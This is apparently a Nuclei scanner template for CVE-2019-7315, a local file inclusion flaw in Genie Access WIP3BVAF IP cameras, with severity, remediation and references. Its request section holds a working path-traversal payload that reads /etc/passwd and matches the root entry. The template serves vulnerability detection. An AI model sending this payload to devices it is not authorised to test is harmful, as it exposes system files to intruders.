id: CVE-2019-7315

info:
  name: Genie Access WIP3BVAF IP Camera - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Genie Access WIP3BVAF WISH IP 3MP IR Auto Focus Bullet Camera devices through 3.X are vulnerable to local file inclusion via the web interface, as demonstrated by reading /etc/shadow.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the local file inclusion vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2019-7315-genie-access-wip3bvaf-ip-camera-directory-traversal/
    - https://vuldb.com/?id.136593
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7315
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-7315
    cwe-id: CWE-22
    epss-score: 0.66105
    epss-percentile: 0.98538
    cpe: cpe:2.3:h:genieaccess:wip3bvaf:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: genieaccess
    product: wip3bvaf
  tags: cve,cve2019,camera,genie,lfi,iot,genieaccess,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d4dc37db8832b858e430ef5f368290584541dc76b9b6ca6cb4c10b595f2867ab0221009b25d2ccf06ccabec63db9cb4f81351413af39c5d9b08c65ec0f676259201815:922c64590222798bb761d5b6d8e72950